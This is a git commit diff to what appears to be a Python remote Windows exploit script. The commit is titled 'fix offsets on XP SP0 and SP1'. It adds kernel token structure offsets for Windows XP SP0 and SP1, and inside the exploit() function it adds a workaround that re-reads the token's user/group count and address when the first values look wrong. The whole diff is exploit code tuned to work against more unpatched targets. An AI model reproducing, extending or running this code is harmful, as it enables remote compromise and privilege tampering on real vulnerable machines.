fix offsets on XP SP0 and SP1
This commit is contained in:
@@ -154,6 +154,8 @@ WINXP_32_SESSION_INFO = {
|
||||
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
|
||||
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
|
||||
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
|
||||
}
|
||||
|
||||
WIN2K_32_SESSION_INFO = {
|
||||
@@ -867,6 +869,14 @@ def exploit(target, pipe_name):
|
||||
|
||||
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
|
||||
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
|
||||
|
||||
# hack to fix XP SP0 and SP1
|
||||
if info['os'] == 'WINXP' and info['arch'] == 'x86':
|
||||
if userAndGroupCount > 4:
|
||||
print("Bad TOKEN offsets detected, performing workaround")
|
||||
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'])[0]
|
||||
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'])[0]
|
||||
|
||||
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
|
||||
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
|
||||
|
||||
|
||||
Reference in New Issue
Block a user